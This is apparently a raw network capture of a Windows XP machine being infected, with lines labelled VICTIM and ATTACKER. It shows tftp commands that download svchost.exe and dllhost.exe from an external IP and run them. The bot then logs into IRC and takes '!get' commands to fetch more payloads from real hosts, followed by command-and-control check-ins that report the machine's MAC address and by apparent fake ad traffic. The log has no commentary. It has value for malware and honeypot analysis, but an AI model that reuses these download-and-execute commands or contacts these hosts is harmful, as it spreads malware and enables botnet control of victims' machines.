VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> VICTIM: tftp -i 114.207.85.62 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\030 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0006 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: Transfer successful: 29456 bytes in 21 seconds, 1402 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: tftp -i 114.207.85.62 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: Transfer successful: 19968 bytes in 8 seconds, 2496 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: wins\\DLLHOST.EXE VICTIM: NICK eakpuwboUSER j020501 . . :- VICTIM: JOIN &virtu ATTACKER: :u. PRIVMSG eakpuwbo :!get http:/61.160.221.205:66/sb.txt:u. PRIVMSG eakpuwbo :!get http:/ioio89.com/txttxt.txt:u. PRIVMSG eakpuwbo :!get http:/141.136.27.220/cluble.com.exe VICTIM: GET /sb.txt HTTP/1.0User-Agent: DownloadHost: 61.160.221.205:66Pragma: no-cache ATTACKER: GET /jiba.asp HTTP/1.0User-Agent: CA 0.0.0.2Host: 61.160.221.205:520 ATTACKER: GET /ck.txt HTTP/1.0User-Agent: CA 0.0.0.2Host: 61.160.221.205:88Cookie: ASPSESSIONIDCAADCSRB=KIPCJDBCBLCFNHDNKNGIGJCL ATTACKER: GET /txttxt.txt HTTP/1.0User-Agent: DownloadHost: ioio89.comPragma: no-cache ATTACKER: GET /park/check.asp HTTP/1.0User-Agent: CA 0.0.0.2Host: ga.9kusddaily.com:88 ATTACKER: GET /aack.txt HTTP/1.0User-Agent: CA 0.0.0.2Host: 61.160.221.205:88Cookie: ASPSESSIONIDCAADCSRB=KIPCJDBCBLCFNHDNKNGIGJCL ATTACKER: GET /nack.txt HTTP/1.0User-Agent: CA 0.0.0.2Host: 61.160.221.205:88Cookie: ASPSESSIONIDCAADCSRB=KIPCJDBCBLCFNHDNKNGIGJCL ATTACKER: GET /cpa.txt HTTP/1.0User-Agent: CA 0.0.0.2Host: 61.160.221.205:88Cookie: ASPSESSIONIDCAADCSRB=KIPCJDBCBLCFNHDNKNGIGJCL ATTACKER: GET /afei.txt HTTP/1.0User-Agent: CA 0.0.0.2Host: 61.160.221.205:88Cookie: ASPSESSIONIDCAADCSRB=KIPCJDBCBLCFNHDNKNGIGJCL ATTACKER: GET /park/update.asp?AppVersion=20120311 HTTP/1.0User-Agent: CA 0.0.0.2Host: ga.9kusddaily.com:88 ATTACKER: GET /p6.asp?MAC=00-0C-29-B8-6D-A5&Publicer=1tr2 HTTP/1.0User-Agent: CA 0.0.0.2Host: www.aaxml.com ATTACKER: GET / HTTP/1.0Accept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)Host: preownedcatamarans.comConnection: Keep-Alive ATTACKER: GET /js.php?id=1123 HTTP/1.0Accept: */*Referer: http:/preownedcatamarans.com/Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)Host: preownedcatamarans.comConnection: Keep-AliveCookie: Apache=192.168.1.218.1345985549226807; preownedcatamarans.com[L]=1345985549; preownedcatamarans.com[U]=1; preownedcatamarans.com[V]=0.3; preownedcatamarans.com[R]=0; preownedcatamarans.com[D]=0; preownedcatamarans.com[OR]=deleted ATTACKER: GET /css.php?id=1123 HTTP/1.0Accept: */*Referer: http:/preownedcatamarans.com/Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)Host: preownedcatamarans.comConnection: Keep-AliveCookie: Apache=192.168.1.218.1345985549226807; preownedcatamarans.com[L]=1345985549; preownedcatamarans.com[U]=1; preownedcatamarans.com[V]=0.3; preownedcatamarans.com[R]=0; preownedcatamarans.com[D]=0; preownedcatamarans.com[OR]=deleted ATTACKER: GET /ga.js HTTP/1.0Accept: */*Referer: http:/preownedcatamarans.com/Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)Host: www.google-analytics.comConnection: Keep-Alive ATTACKER: GET /relative/static/1325795226_menu_icon.gif HTTP/1.0Accept: */*Referer: http:/preownedcatamarans.com/Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)Host: images01.tzimg.comConnection: Keep-Alive ATTACKER: GET /relative/static/1330035304_bg-grad.gif HTTP/1.0Accept: */*Referer: http:/preownedcatamarans.com/Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)Host: images01.tzimg.comConnection: Keep-Alive ATTACKER: GET /image.php?FilePath=h3w4/1187142839_421423_16234220.jpg&Width=500 HTTP/1.0Accept: */*Referer: http:/preownedcatamarans.com/Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)Host: images01.tzimg.comConnection: Keep-Alive ATTACKER: GET /cache/h3w4/500_1187142839_421423_16234220.jpg HTTP/1.0Accept: */*Referer: http:/preownedcatamarans.com/Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)Host: images01.tzimg.comConnection: Keep-Alive